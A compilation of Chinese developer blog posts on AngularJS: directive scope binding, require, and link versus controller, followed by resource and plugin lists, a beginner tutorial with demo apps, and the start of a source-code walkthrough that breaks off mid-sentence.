        <child-c parent-name="parentName"></child-c>
    </div>
    <!--t1指令模板-->
    <script type="text/html" id="t1">
        <div>
            <span>{{parentName}}</span>
            <input type="text" ng-model="parentName" />
        </div>
    </script>
    <script>
        var app = angular.module("app", []);

        app.controller('parentCtrl', function ($scope) {
            $scope.parentName = "parent";
        })

        //false：共享作用域
        app.directive('childA', function () {
            return {
                restrict: 'E',
                scope: false,
                template: function (elem, attr) {
                    return "false:" + document.getElementById('t1').innerHTML;
                }
            };
        });

        //true：继承父域，并建立独立作用域
        app.directive('childB', function () {
            return {
                restrict: 'E',
                scope: true,
                template: function (elem, attr) {
                    return "true:" + document.getElementById('t1').innerHTML;
                },
                controller: function ($scope) {
                    $scope.parentName = "parent";

                    //已声明的情况下，$scope.$watch监听的是自己的parentName
                    $scope.$watch('parentName', function (n, o) {
                        console.log("child watch" + n);
                    });

                    //$scope.$parent.$watch监听的是父域的parentName
                    $scope.$parent.$watch('parentName', function (n, o) {
                        console.log("parent watch" + n);
                    });
                }
            };
        });

        //{}：不继承父域，建立独立作用域
        app.directive('childC', function () {
            return {
                restrict: 'E',
                scope: {},
                template: function (elem, attr) {
                    return "{}:" + document.getElementById('t1').innerHTML;
                },
                controller: function ($scope) {
                    console.log($scope);
                }
            };
        });

    </script>
</body>


false参数



本质：子域与父域共享作用域。
特点：父域修改parentName的同时，指令绑定的parentName的元素会被刷新。



反之，指令内部parentName被修改时，父域的parentName同样会被刷新。



true参数



本质：子域继承父域，并建立独立作用域。
特点：

1、在指令已声明parentName的情况下，父域parentName变更，指令中parentName不会发生变化。
指令在true参数下，建立了的scope，独立并隔离与父控制器的scope。

controller: function ($scope) {
    $scope.parentName = "parent";
}




反之，指令中parentName变更，父域也不会发生变化。



2、在指令未声明parentName的情况下，父域的parentName变更，指令中parentName也会刷新
这种情况很多时候会被忽略，指令的scope没有声明对象时，其元素绑定的仍然是父域的对象。但，一旦指令中Input变更了，对应的独立scope也会自动声明该绑定对象，这就回到了第1种情况。

controller: function ($scope) {
    //$scope.parentName = "parent";
}




然而，指令中parentName变更，父域是不会变化的；



3、在指令已声明parentName的情况下 ，在指令中监听父域parentName 的变化无效。但监听子域parentName的变化有效
独立子域scope，只能监听自己的，不能监听父域的。但通过 $scope.$parent可以监听父域。

controller: function ($scope) {
    $scope.parentName = "parent" ;

    //已声明的情况下，$scope.$watch监听的是自己的parentName
    $scope.$watch( 'parentName' , function (n, o) {
        console.log("child watch" + n);
    });

    //$scope.$parent.$watch监听的是父域的parentName
    $scope.$parent.$watch( 'parentName' , function (n, o) {
        console.log("parent watch" + n);
    });
}




4、在指令未声明parentName的情况下 ，在指令中监听父域parentName的变化有效。
这里就不解释了，参考第2点，大家可以动手试一下。

controller: function ($scope) {
    //$scope.parentName = "parent";

    //未声明的情况下，$scope.$watch监听的是父域的parentName
    $scope.$watch('parentName' , function (n, o) {
        console.log("child watch" + n);
    });
}


对象{}参数



本质：子域不继承父域，并建立独立作用域。
特点：

1、当scope对象为空对象时，无论是父域parentName，还是指令子域parentName发生变更，都不会影响到对方。
原理很清楚，就是指令建立的独立作用域，与父域是完全隔离的。

scope: {}





2、当scope对象为非空对象时，指令会将该对象处理成子域scope的扩展属性。而父域与子域之间传递数据的任务，就是可以通过这块扩展属性完成。

<div ng-controller='parentCtrl'>
    parent:
    <p><span>{{name}}</span><input type="text" ng-model="name" /></p>
    <p><span>{{sexy}}</span><input type="text" ng-model="sexy" /></p>
    <p><span>{{age}}</span><input type="text" ng-model="age" /></p>
    <br />

    <!--特别注意：@与=对应的attr，@是单向绑定父域的机制，记得加上{{}}；&对应的attrName必须以on-开头-->
    <child-c my-name="name" my-sexy-attr="sexy" my-age="{{age}}" on-say="say('i m ' + name)"></child-c>
</div>

<!--t1指令模板-->
<script type="text/html" id="t1">
    <div>
        <span>{{myName}}</span>
        <input type="text" ng-model="myName" />
    </div>
    <div>
        <span>{{mySexy}}</span>
        <input type="text" ng-model="mySexy" />
    </div>
    <div>
        <span>{{myAge}}</span>
        <input type="text" ng-model="myAge" />
    </div>
</script>

<script>
    var app = angular.module("app", []);

    app.controller('parentCtrl', function ($scope) {
        $scope.name = "mark";
        $scope.sexy = "male";
        $scope.age = "30";
        $scope.say = function (sth) {
            alert(sth);
        };
    })

    app.directive('childC', function () {
        return {
            restrict: 'E',
            scope: {
                myName: '=',
                mySexy: '=mySexyAttr',
                myAge: '@',
                onSay: '&'
            },
            template: function (elem, attr) {
                return "{}:" + document.getElementById('t1').innerHTML;
            },
            controller: function ($scope) {
                console.log($scope.myName);
                console.log($scope.mySexy);
                console.log($scope.myAge);
                $scope.onSay();
            }
        };
    });

</script>


@（or @Attr）绑定策略——本地作用域属性，使用@符号将本地作用域同DOM属性的值进行绑定。指令内部作用域可以使用外部作用域的变量。（单向引用父域对象）

<child-c my-age="{{age}}"></child-c>


ps：@ 是单向绑定本地作用域，记得加上{{}}

scope: {          
     myAge: '@',
}




= （or =Attr）绑定策略——双向绑定：通过=可以将本地作用域上的属性同父级作用域上的属性进行双向的数据绑定。就像普通的数据绑定一样，本地属性会反映出父数据模型中所发生的改变。（双向引用父域对象）

<child-c onSay="name"></child-c>


ps：=策略不需要加上{{}}进行绑定

scope: {          
     myName: '=',
}




& （or &Attr）绑定策略——通过&符号可以对父级作用域进行绑定，以便在其中运行函数。（调用父域函数）

<child-c on-say="say('i m ' + name)"></child-c>


ps：&对应的attrName必须以on-开头

scope: {          
     onSay: '&',
}


父域绑定调用函数及传参


app.controller('parentCtrl', function ($scope) {
     $scope.say = function (sth) {
         alert(sth);
     };
})




ps特别注意：@与=对应的attr，；

<child-c my-name="name" my-sexy-attr="sexy" my-age="{{age}}" on-say="say('i m ' + name)"></child-c>




总结下来，scope扩展对象，既能够解耦父域与子域共域的问题，也能够实现指令与外界通讯的问题，是Angular开发指令化模块化的重要基础。在往后的章节，我会向大家介绍指令化开发的更多实例。

对外参数——require

scope是指令与外界作用域通讯的桥梁，而require是指令与指令之间通讯的桥梁。这个参数最大的作用在于，当要开发单指令无法完成，需要一些组合型指令的控件或功能，例如日期控件，通过require参数，指令可以获得外部其他指令的控制器，从而达到交换数据、事件分发的目的。

使用方法：require: String or Array——String值为引入指令名称，并且有两个寻找指令策略符号‘？’与‘^’；Array数组则为多个外部指令名称。

在link函数第4个参数ctrl中获取注入外部指令的控制器，如果require为String，ctrl为对象，如果require是数组，ctrl为数组。

require: '^teacher1',
link: function ($scope, $element, $attrs, ctrl) {
    //ctrl指向teacher1指令的控制器
}


？策略——寻找指令名称，如果没有找到，link函数第4个参数为null；如果没有？，则报错。



 ^ 策略——在自身指令寻找指令名称的同时，向上父元素寻找；如果没有^，则仅在自身寻找。
如下例子，指令studentA向上可以找到指令teacher及自身，但是不能找到相邻兄弟的student-b。

<div teacher>
    <student-a></student-a>
    <student-b></student-b>
</div>


完整例子

<body>
    <div teacher>
        {{name}}
        <student-a></student-a>
        <student-b></student-b>
    </div>
    <script>
        var app = angular.module("app", []);

        //studentA——require指向父级指令teacher
        app.directive('studentA', function () {
            return {
                require: '?^teacher',
                scope: {},
                template: '<div>A`s teacher name: <span>{{teacherName}}</span></div>',
                link: function ($scope, $element, $attrs, ctrl) {
                    //获取teacher指令控制器，并调用其方法sayName()
                    $scope.teacherName = ctrl.sayName();
                }
            };
        });

        //studentB——require指向父级指令teacher，及指令studentA
        //但是，由于不能获得兄弟，也没有采取？策略，导致报错
        app.directive('studentB', function () {
            return {
                require: ['?^teacher', 'studentA'],
                scope: {},
                template: '<div>B`s teacher name: <span>{{teacherName}}</span></div>',
                link: function ($scope, $element, $attrs, ctrl) {
                    $scope.teacherName = ctrl.sayName();
                }
            };
        });

        app.directive('teacher', function () {
            return {
                restrict: 'A',
                controller: function ($scope) {
                    $scope.name = "Miss wang";

                    //扩展控制器的方法sayName，目的是让外部内获取控制器内部数据
                    this.sayName = function () {
                        return $scope.name;
                    };
                }
            };
        });
    </script>
</body>




既然require可以获取外部指令，那Angular原生指令应该也是能够获取。其中最广泛应用的就是require: 'ngModel'，关于ngModel在自定义指令上的应用，留待下回实例中再跟大家深入讨论。

行为参数——link与controller

为什么要把link与controller两个参数放到一起？
因为很多童鞋会把它们错误地混淆使用，包括我自己。

link与controller都是描述指令行为的参数，但它们是要描述的行为是完全不同的类型。

controller语法 controller：String or Function



controller本身的意义就是赋予指令控制器，而控制器就是定义其内部作用域的行为的。

所以controller要描述的是：指令的作用域的行为。

//指向匿名控制器
controller: function ($scope) {
},
//指向控制器mainCtrl
controller: "mainCtrl"




link语法 link：String Or Function



link名称是链接函数，啥意思，好像挺难理解。所以在解释链接函数之前，先要说一下Angular的初始化对于指令究竟做了什么。

Angular在刚从HTTP Response接收静态素材之初，会首先去分析母页HTML中有哪些原生指令或自定义指令，然后再去加载指令的template模板HTML，而template模板中又去加载自己的指令模板，如此类推，直到Angular找到了所有的指令及模板，形成模板树，并返回模板函数，提供给下一阶段进行数据绑定。

<body>
    <stu1 ></ stu1>
    <script >
        var app = angular.module("app" , []);

        app.directive( 'stu1' , function () {
            return {
                restrict: 'E' ,
                template: "<p>1</p><stu2></stu2>" ,
                link: function (scope) {
                    console.log( 'stu1 running' );
                }
            };
        });

        app.directive( 'stu2' , function () {
            return {
                restrict: 'E' ,
                template: "<p>2</p><stu3></stu3>" ,
                link: function (scope) {
                    console.log( 'stu2 running' );
                }
            };
        });

        app.directive( 'stu3' , function () {
            return {
                restrict: 'E' ,
                template: "<p>3</p>" ,
                link: function (scope) {
                    console.log( 'stu3 running' );
                }
            };
        });

    </script >
</ body>

console output

stu3 running
stu2 running
stu1 running




注意以上例子，在第一个断点stu3 running的时候，1 2 3 三个模板都渲染完成了。然后从最根部的stu3的link函数开始，依次执行stu 3 stu2 stu1的link函数。

简单来说就是：


	加载模板，形成DOM模板树


	@@@@


	数据绑定




@@@@是啥？没错，就是link链接函数，它会在形成模板树之后，在数据绑定之前，从最底部指令开始，逐个指令执行它们的link函数。

在这个时间节点的link函数，操作DOM的性能开销是最低，非常适合在这个时机执行DOM的操作，例如鼠标操作或触控事件分发绑定、样式Class设置、增删改元素等等。

所以link就是描述指令元素操作行为。

link: function (scope, element, attr, ctrl) {

    element.bind("click", function () {
        console.log("绑定点击事件");
    });

    element.append("<p>增加段落块</p>");

    //设置样式
    element.css("background-color", "yellow");

    //不推荐，在link中赋予scope行为
    scope.hello = function () {
        console.log("hello");
    };
}


同理，在link中定义$scope行为是不推荐的。

这样想想，对于controller与link，就明白了。但还有一个问题，它们俩的执行顺序是？答案是先controller，后link。

放到全局顺序就是：


	执行controller，设置各个作用域scope


	加载模板，形成DOM模板树


	执行link，设置DOM各个行为


	数据绑定，最后scope绑上DOM




例子

    <div student>
        {{name }}
    </div>
    <script>
        var app = angular.module("app", []);

        app.directive('student', function () {
            return {
                restrict: 'A',
                controller: function ($scope) {
                    $scope.name = "tgor";

                    console.log('controller running');
                },
                link: function (scope, el) {
                    el.append("<p>hello</p>");

                    console.log('link running');
                }
            };
        });

    </script>




总结

总结就是不想总结，还有compile、controllerAs……没有讲。写得累死，希望能给大家一些帮助，同时也可以将自己的错误暴露出来，望大家指正。
下一节，会跟大家分享一下指令在实战中的一些实例。

end


 关于Angular2的一些资料（持续更新中）

作者：dreamapplehappy

来源： 关于Angular2的一些资料（持续更新中）



                    
因为国内关于Angular2的资料实在是太少了，我也搜索了一下，但是没有搜索到太多，希望国内的一些这方面的大牛可以多出点这方面的文章或者制作一些视频，来帮助希望学习Angular2的开发者；当然，如果你的条件允许，可以翻墙看看国外的一些资源，还是很多的，我也列举了一些，也希望能够帮助大家（注：看国外的文章或者是频频对你的英语能力还是有一定的要求的。。。）




	
关于现在要学习Angular1还是Angular2的看法：


	我曾经回答过类似的一个问题传送门


	个人建议现在学习Angular1比较好，因为要不了一两个月的时间你就掌握的差不多了，就可以在实际的项目中应用了；因为Angular2至少还需要1年的时间才可以用于实际的开发，这期间学习Angular1是个不错的选择，到时候各种浏览器对Angular2的支持情况也会比较好。


	不论是Angular1还是Angular2只要对你的工作有帮助，或者说给你带来了快乐那就好了。


	另外知乎的一个问题Angular 2.0大幅度重写并且不向下兼容代码的情况下，学Angular 1.3有没有必要？


	担心Angular未来的可以看看这个，给你吃颗定心丸Angular + React = Speed Dave Smith






	
国内一些博客


	三块石头 Angular2


	AngularJS 2.0 正在路上..


	Angular2.0快速开始


	angular2-ama-cn (2016-1-22更新) 来自kittencup


	Hacking With Angular(2016-8-3更新) 来自hacking-with-angular






	
国内的一些视频

	汇智网 Angular2 入门感觉还不错，作者desdik






	
国外文章链接


	官网的 5 MIN QUICKSTART


	Angular2-ES6-Starter对于有ES6基础的开发者来说是很不错的。


	Learn Angular2


	Angular2.com


	angular2-education这里面包含了大量的资料。


	ng-learn.org


	Angular 2 Series: Introduction有时间可以多看看Ionic，对那些希望在移动端使用Angular并且有着较好的体验的开发者有很大帮助。


	The Jackal of Javascript


	Getting Started with Angular 2 using TypeScript


	Angular Tips


	ng-book 2


	angular2-webpack-starter (2015-9-20更新)


	Exploring Angular 2 (2015-10-19更新)






	
国外视频链接


	egghead.io


	An Angular2 Todo App: First look at App Development in Angular2


	Angular 2: Built for Huge, Long-lasting Applications


	Angular2 with Typescript project setup


	Angular 2 Tutorial and Sublime Text Tips -- LazyWeb #7这个有点6




最后，如果大家有什么比较好的资料可以在这下面留言，我会把它添加到这篇文章里面的，方便更多的人去学习。







以下部分是2016-1-28更新内容：


	Learn Angular2


	angular2


	What are the best resources to learn Angular 2?


	Become a ninja with Angular 2


	Best Resources for Learning Angular2 from Scratch


	Quickly learn Angular2 by following these cookbooks


	GyPractice-Angular2





 快速认识和了解 Angular.js

作者：Worktile

来源： 快速认识和了解 Angular.js



                    
怎么样快速了解AngularJS？



  相信很多初学者都有过或者类似的疑问，其实这个问题没有标准的答案，每个人的技术背景、工作经验等等都不经相同，所以学习AngularJS的切入点肯定也就不同，我之前初略使用过knockoutjs，当我第一眼看到AngularJS的Helloworld案例后，顿时就被声明式的语法和强大的双向绑定特性所吸引。




其实AngularJS的官方网站首页的几个例子已经很好的展示了AngularJS的一些特性，下面我就从几个例子一步一步的讲解AngularJS吸引人的东西并且实际项目中是怎么使用ng的。



	
首先还是从第一个经典的Hello world 案例说起，如下HTML（如果你在墙外，可以直接访问https://angularjs.org ，右边就有运行效果）。


<!doctype html>
<html ng-app>
  <head>
   <script src="http://ngnice.com/lib/angular/1.2.16/angular.js"></script></script>
  </head>
  <body>
    <div>
      <label>Name:</label>
      <input type="text" ng-model="yourName" placeholder="Enter a name here">
      <hr>
      <h1>Hello {{yourName}}!</h1>
    </div>
  </body>
</html>



会一点HTML的人都知道，这个界面有个input输入框，下面有个<h1>的标题，内容是 Hello {{yourName}}!。


实现的效果是：当用户在input输入框输入内容时，下面的h1标题内部实时显示 ”Hello 输入的内容!"


与普通的HTML不同之处有以下几点：



	html标签上加了一个 ng-app属性，意思是整个HTML都属于AngularJS控制；

	input输入框加了一个 ng-model="yourName"，这样就表明input的value与内存中的变量yourName是双向绑定的，在输入框输入”world“，内存中的yourName变量就变成了”world“，反之亦然；

	h1标签内部有个{{yourName}}，这个表示内存中的yourName属性和h1节点的内容实现了双向绑定，yourName为”world“后，h1的内容就会变成”Hello world!“，"{{}}"是ng的表达式。



传统的做法：



  在input上添加change事件，当触发change事件后，获取input输入框的内容，再组合字符串，通过DOM操作修改h1的innerHTML，前提可能要给 input和h1加上id或者name属性。

  通过这个例子.




大家应该能够很明显的感觉到AngularJS的优势了，不用写一行JS代码，就能实现一个很完美的功能。



	
上面的例子只是展示了一个简单的双向绑定功能，AngularJS既然是一个MV*框架，上面说的yourName是Model，HTML是View，那么*（Controller或者ViewModel）去哪了？我稍微修改下上面的例子:


<!doctype html>
    <html ng-app>
    <head>
        <script src="http://ngnice.com/lib/angular/1.2.16/angular.js"></script>
    </head>
    <body>
        <div ng-controller="testCtrl">
            <label>Name:</label>
            <input type="text" ng-model="yourName" placeholder="Enter a name here">
            <button ng-click="clearInputValue()">Clear Input Value</button>
            <hr>
            <h1>Hello {{yourName}}!</h1>

        </div>
        <script>
            function testCtrl($scope) {
                $scope.yourName = "world";
                $scope.clearInputValue = function () {
                    $scope.yourName = "";
                }
            }
        </script>
    </body>
</html>



可以看到我修改的地方：



	在div上加了一个ng-controller="testCtrl"，表示这个DIV内部所有元素都属于testCtrl管辖；

	同时script加了一个函数testCtrl，这个函数有个$scope的参数，并且函数内给$scope.yourName赋了一个”world“的值，而且还有个clearInputValue函数，这个$scope大家可以理解为ViewModel，ng Model的载体（或者说上下文），所有模板中使用的ng变量都在$scope上，初始化给$scope.yourName赋值说明input输入框的Value默认就为”world“；

	界面上多了一个Button，button上有个ng-click="clearInputValue()"，ng-click表示给这个Button绑定了一个click事件，点击Button执行clearInputValue函数，这个函数给$scope.yourName赋值了空字符串，清空了输入框的值。



从这个例子中大家可以清楚的看到AngularJS是怎么样实现MV*的，具体传统的做法大家可以自行在脑海中想想，ng的实现方式是不是更加的简单，至此你有没有被ng所吸引？？？



	
大家看了上面的例子后，或许有些人就开始疑问了，每个controller绑定一个函数，这个函数的第一个参数是$scope，所有的数据和方法都在$scope上下文里面，而且这个函数是全局函数，如果界面上有很多controller呢？不会有很多个全局函数吧？（注意：这种全局函数的方式在1.3.x版本后已经被取消了）


哈哈，其实ng早就想到了这一步，ng有自己的一套模块加载机制，而且还引入了依赖注入。


我再次修改了上面的例子：


<!doctype html>
<html ng-app="app">
 <head>
     <meta charset="utf-8"/>
     <style>
         ul {
             list-style : none;
             clear      : both;
         }
         ul > li {
             list-style  : none;
             float       : left;
             margin-left : 15px;
             display     : block;
         }
         .active {
             background : #1f292e;
             color      : #FFFFFF;
         }
         a {
             color : #000066;
         }
         .active > a {
             color : #FFFFFF;
         }
        [ng\\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide{display:none !important;}ng\\:form{display:block;}.ng-animate-start{border-spacing:1px 1px;-ms-zoom:1.0001;}.ng-animate-active{border-spacing:0px 0px;-ms-zoom:1;}
     </style>
 </head>
 <body ng-cloak>
     <div ng-controller="testCtrl">
         <ul>
             <li ng-class="{'active':currentMenu == 'menu1'}"><a href="javascript:;" ng-click="selectMenu('menu1')">菜单1</a>
             </li>
             <li ng-class="{'active':currentMenu == 'menu2'}"><a href="javascript:;" ng-click="selectMenu('menu2')">菜单2</a>
             </li>
         </ul>
         <br><br>

         <div ng-if="currentMenu == 'menu1'">
             我是菜单1里面的内容
         </div>
         <div ng-if="currentMenu == 'menu2'">
             我是菜单2里面的内容
         </div>

     </div>
     <script src="http://ngnice.com/lib/angular/1.2.16/angular.js"></script>
     <script>
         angular.module("app", []);
         angular.module("app").controller("testCtrl", ["$scope", function ($scope) {
             $scope.currentMenu = "menu1";
             $scope.selectMenu = function (menu) {
                 $scope.currentMenu = menu;
             }
         }]);
     </script>
 </body>
</html>




	我给ng-app指定了一个名称叫”app“，同时js代码使用angular.module("app", []);定义了一个名称为”app“的module，同时用这个app module 的controller方法定义了一个testCtrl；定义module函数是angular对象上的静态方法，第一个参数传名称，第二个参数是一个数组，这个数组表示这个module所引用的其他module，在这个例子中我们没有使用任何其他的module，所以传入一个空的数组，如果第二个参数不传，表示获取名称为”app“的module；

	这个例子是大家在项目中经常遇见的菜单模块，页面共有2个菜单，默认选中菜单1，当选择哪个菜单，下面的内容区域就显示选中菜单的内容，同时菜单的样式需要修改为选中状态；

	关于显示哪个内容区域我使用了ng-if="currentMenu == 'menu1'"和ng-if="currentMenu == 'menu2'",顾名思义，ng-if意思是如果表达式为真编译并且显示ng-if内部的模板元素，如果为假，不显示任何内容；

	至于选中菜单的样式，我使用了ng-class="{'active':currentMenu == 'menu1'}",意思就是currentMenu 为menu1时添加class ”active“，否则没有任何样式。







上面的3个例子，很好的展示了如何开启一个ng的web，并且如何模块化的使用ng，如果你都看懂了,说明你已经掌握了如何使用ng-controller、数据的双向绑定，写模板，并且初步接触了很多内置的指令（如：ng-app,ng-controller,ng-model,ng-if,ng-class,ng-click）。


说实话，你已经会了很多了。


当然ng还是有很多东西等你慢慢发觉，如：



	用ngRoute模块写SPA（单页程序）；

	还有更多丰富的指令，学会自己封装自定义指令；

	ng的过滤器功能（Filter）；

	ng的表单验证功能；

	使用ng的服务功能（service、provider和factory）；

	ng scope树形结构，并且在不同控制器之间通过事件发布订阅机制通信；

	$http和$resource模块与服务端API进行交互操作；

	使用animate模块做一些动画特效；

	单元测试。



说明：上面的例子为了展示方便，所有的js css 都写在了html页面里面，实际项目中应该分开写在独立的文件中。


最后的例子


大家可以根据上面学到的知识，自己做个todolist的例子，默认界面上有2个todo，一个完成一个未完成，每个todo前面有个checkbox表示是否已完成，下面有个输入框和添加按钮，输入内容点击添加则列表上会多一个todo。大家可以先不用看下面的代码，自己尝试做一下，这个例子需要用到的几个directive：<li ng-repeat="todo in todos"> 表示循环todos列表，在li标签内部就可以写模板语言显示每个todo的内容，如{{toodo.text}} 。


代码如下：


<!DOCTYPE html>
<html ng-app="todoApp">
    <head lang="en">
        <meta charset="UTF-8">
        <title></title>
        <style>
            .done-true {
                text-decoration: line-through;
                color: grey;
            }
        </style>
    </head>
    <body>
        <h2>Todo</h2>
        <div ng-controller="TodoController">
            <span>{{remaining()}} of {{todos.length}} remaining</span>
            [ <a href="" ng-click="archive()">archive</a> ]
            <ul class="unstyled">
                <li ng-repeat="todo in todos">
                    <input type="checkbox" ng-model="todo.done">
                    <span class="done-{{todo.done}}">{{todo.text}}</span>
                </li>
            </ul>
            <form ng-submit="addTodo()">
                <input type="text" ng-model="todoText"  size="30"
                       placeholder="add new todo here">
                <input class="btn-primary" type="submit" value="add">
            </form>
        </div>
    <script src="http://ngnice.com/lib/angular/1.2.16/angular.js"></script>
    <script>
        angular.module('todoApp', [])
                .controller('TodoController', ['$scope', function($scope) {
                    $scope.todos = [
                        {text:'learn angular', done:true},
                        {text:'build an angular app', done:false}];

                    $scope.addTodo = function() {
                        $scope.todos.push({text:$scope.todoText, done:false});
                        $scope.todoText = '';
                    };

                    $scope.remaining = function() {
                        var count = 0;
                        angular.forEach($scope.todos, function(todo) {
                            count += todo.done ? 0 : 1;
                        });
                        return count;
                    };

                    $scope.archive = function() {
                        var oldTodos = $scope.todos;
                        $scope.todos = [];
                        angular.forEach(oldTodos, function(todo) {
                            if (!todo.done) $scope.todos.push(todo);
                        });
                    };
                }]);
    </script>
    </body>
</html>



上面的输入框和按钮其实用下面的代码也能实现


<input type="text" ng-model="todoText"  size="30"
                       placeholder="add new todo here">
                <input class="btn-primary" type="button" value="add" ng-click="addTodo()">



之所以官方的示例中用了<form ng-submit="addTodo()">实现是为了实现输入内容后直接按Enter键也能提交。


我们也是在做 Worktile 的过程中对Angular.js一步步了解的，那些Angular.js必踩的坑也都一一踩过，毋庸置疑，Angular.js的确是一个非常优秀的前端MV*框架。希望这篇文章能够带给正准备使用Angular.js技术的你一些帮助。


之前文章发表的链接：http://www.ngnice.com/posts/205af1ea1e13d2


 angular好用的插件集合（持续更新中）

作者：dreamapplehappy

来源： angular好用的插件集合（持续更新中）



                    
首先介绍两个学习Angular的学习资源AngularJS-Learning还有recipes-with-angular-js-examples。 
两个编写Angular的代码规范，分别是angularjs-styleguide和angular-styleguide




	
项目文件结构生成的插件（一般要配合yeoman等使用）


	generator-angular 这种生成器生成的文件结构是按照类型来划分的，就是controller放在一起，service放在一起，directive放在一起，route文件只有一个。这种结构适合不是很大的项目，一旦项目大了起来使用这种方式就使项目变得不太容易维护。


	generator-hottowel 这种生成器生成的文件结构是按照模块功能来划分的；举个例子，你的项目中可能有许多模块，可能是user模块，home模块等等；每个模块都包含下面这几种文件：module，controller，route，service等；module用来声明这个模块，route是这个模块的路由文件，service是这个模块的服务。详情还需到github上面仔细了解一下。


	generator-angularfire Yeoman Generator for AngularFire。


	angular-seed






	
结合一些后端的工作流


	ngular-laravel4-workflow。


	fullstack-demo。






	
关于Angular的一些UI框架或者库


	ionic 相当不错的移动应用UI框架，它自己本身就有着很出色的表现，配合Angular以及ngCordova，再加上firebase可以快速的打造一个hybrid mobile app，强烈推荐看一看。关于ng-cordova可以看看这里，相当不错，也是强烈推荐大家看看。


	mobile-angular-ui 结合Bootstrap 3的一个移动UI。


	Angular Material 符合material规范的使用Angular实现的一个前端框架，效果相当不错。


	AngularStrap 一些结合Bootstrap 3的指令，帮助你更快的打造你的应用。


	
AngularUI 一个关于Angular的超大豪华套餐。


	UI.Ace


	alias


	UI Bootstrap


	UI Calendar


	UI Chart


	UI Codemirror


	UI Date


	UI Event


	Angular Google Maps


	Angular UI Grid


	UI Indeterminate


	UI Layout


	UI Map


	UI Mask


	UI Router 基本是使用Angular必用的。


	UI Scroll


	UI Scrollpoint


	UI Select


	UI Slider


	UI Sortable


	UI Tinymce


	UI Tour


	UI Uploader


	UI Validate


	IDE Plugins






	famous-angular这里顺便可以了解一下famous，也是非常不错的一个关于动画的一个类库，推荐看一下。


	ui-grid 很不错，观看示例






	
Web开发组件


	restangular 开发中基本都会用到的。


	ngDialog 非常不错的弹出窗插件，很轻量，但是功能却很强大，可以看看示例。


	ngMeditor 观看示例


	angular-atomic-notify


	ngSweetAlert 这个弹出框插件做的也是相当不错，推荐大家去看看示例，ng-sweet-alert是这个插件的ng版本，可以查看示例。


	v-button 类似material规范的一个按钮组件，很不错推荐看看示例。


	v-modal 类似material规范的一个模态框组件，很不错推荐看看示例。


	ng-file-upload 一个上传文件的组件，很不错示例。


	angular-file-upload 观看示例。


	ng-iScroll 结合iScroll 5.x。


	angular-iscroll 观看示例


	angular-toastr 非常不错的消息提示插件，观看示例


	angular-slider 观看详解


	angular-slider 观看示例


	angular-hammer 要结合hammer.js使用。


	angular-gestures 也要结合hammer.js来使用。


	ng-material-floating-button 观看示例。


	angular-deckgrid A lightweight masonry-like grid for AngularJS.观看示例


	angular-busy 一个加载提示插件，观看示例。


	ng-polymer-elements 观看示例。


	angular-growl


	ngAutocomplete 观看示例。


	ngImgCrop 相当不错的截图插件，观看示例。


	angular-masonry 观看示例。


	angular-loading-bar 极力推荐的一个加载提示插件，观看示例。


	angular-umeditor 百度 umeditor 富文本编辑器 angularjs 插件。


	ngInfiniteScroll 观看示例。


	angular-chart.js 很不错的图表插件要借助Chart.js，观看示例。


	angularUtils 一位外国人写的许多可以重用的组件。只里面可能会有你喜欢的，有一个分页插件。


	nprogress 观看示例。


	ngProgress 观看示例。


	angular-dialog-service 观看示例。






	
与云服务交互

	angularfire AngularJS bindings for Firebase这也也是推荐大家去看看，firebase是一个A powerful platform for your mobile or web application，类似于国内的leancloud，国外是很流行的。






	
一些服务插件


	angular-sortable-view 拖拽排序插件，非常不错，观看示例。


	ngRepeatReorder 需要依赖angular-hammer和hammer.js，也是一个reorder的插件。


	ngDraggable 一个拖拽插件，观看示例。


	checklist-model 观看示例。


	ng-readingtime


	object-table 观看示例。


	angularjs-pubsub


	angular-socket-io


	angular-local-storage 观看示例。


	angular-cookies


	angularWebglDirective






	
测试，模拟数据的插件


	karma Spectacular Test Runner for JavaScript 文档protractor


	protractor E2E test framework for Angular apps 文档。


	mock-angular 观看示例。








也希望大家能够把一些好的插件分享出来，或者在这片文章下面留言，我会把它加到这片文章里面，让大家都可以看到^_^



以下部分是更新内容：


	bindonce (Zero watches binding for AngularJS) 来自xmchyabi的分享 2016-1-28 更新


	at-promise (promise directive for angular) 来自axetroy的分享 2016-3-19 更新





 angularjs源码分析之：angularjs执行流程 

作者：JingDing

来源： angularjs源码分析之：angularjs执行流程 



                    
(看到一篇讲解angularjs执行流程分析的文章，收藏来看看)


angularjs用了快一个月了，最难的不是代码本身，而是学会怎么用angular的思路思考问题。其中涉及到很多概念，比如：directive，controller，service，compile，link，scope，isolate scope，双向绑定，mvvm等。最近准备把这些都慢慢搞懂，分析源码并贴到博客园，如有分析不对的地方，还望各位包容并指正。


angularjs源码分析之：angularjs执行流程


先上个大图，有个大概印象,注：angularjs的版本为：1.2.1，通过bower install angularjs安装的。





几个重要方法


bindJQuery();

publishExternalAPI(angular);

jqLite(document).ready(function() {
    angularInit(document, bootstrap);
});



20121行，bindJQuery，尝试绑定jQuery对象，如果没有则采用内置的jqLite


20123行，publishExternalAPI，初始化angular环境。


1820-1848行，把一些基础api挂载到angular上，如：extend，forEach，isFunction等。


1850行，angularModule = setupModuleLoader(window);此方法为模块加载器，在angular上添加了module方法，最后返回的实质上是：


angular.module = function module(name,require,configFn);



当我们angular.module('myApp'),只传一个参数，为getter操作,返回moduleInstance


当我们angular.module('myApp',[]) 时返回对象moduleInstance


var moduleInstance = {
    // Private state
    _invokeQueue: invokeQueue,
    _runBlocks: runBlocks,
    requires: requires,
    name: name,
    provider: invokeLater('$provide', 'provider'),
    factory: invokeLater('$provide', 'factory'),
    service: invokeLater('$provide', 'service'),
    value: invokeLater('$provide', 'value'),
    constant: invokeLater('$provide', 'constant', 'unshift'),
    animation: invokeLater('$animateProvider', 'register'),
    filter: invokeLater('$filterProvider', 'register'),
    controller: invokeLater('$controllerProvider', 'register'),
    directive: invokeLater('$compileProvider', 'directive'),
    config: config,
    run: function(block) {
        runBlocks.push(block);
        return this;
    }
}



因为这样，我们才可以链式操作 ，如： .factory().controller().


这里需要重点提到两个函数：ensure 和invokeLater。


通过ensure(obj,nam,factory)可以实现：先检索obj.name,如果有就是getter操作，否则为setter操作。


此机制完成了在windows对象上声明angular属性，在angular对象上声明module属性。


通过invokeLater可以返回一个闭包，当调用config，provider（即moduleInstance返回的那些api）调用时，实质上就是调用这个闭包，拿app.provider('myprovider',['$window',function($window){ //code}])举例，此api调用后，会将：


